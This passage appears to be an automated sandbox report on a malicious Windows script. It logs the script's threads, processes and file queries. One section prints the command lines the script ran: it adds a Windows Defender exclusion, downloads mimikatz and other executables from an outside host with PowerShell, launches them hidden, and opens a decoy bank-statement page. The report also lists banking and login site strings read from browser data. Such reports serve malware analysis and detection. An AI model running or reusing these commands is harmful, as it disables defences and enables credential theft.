Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6219	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3577	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4057
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5185
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6042
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7096
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 917
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5558

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6300	Thread sleep count: 6219 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5508	Thread sleep count: 3577 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1476	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep count: 4057 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8440	Thread sleep count: 5185 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9188	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5700	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8272	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10068	Thread sleep count: 6042 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8272	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10048	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10352	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10720	Thread sleep count: 7096 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 11080	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 11096	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10708	Thread sleep count: 917 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10704	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 10736	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9484	Thread sleep count: 5558 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 11076	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9324	Thread sleep time: -2767011611056431s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Web Data.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: svchost.exe, 00000008.00000002.3347395230.00000286C8C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3349326161.00000286CE255000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Web Data.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Web Data.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b control C:\\WinXRAR\\ncpa.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\\WinXRAR\\ncpa.cpl

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
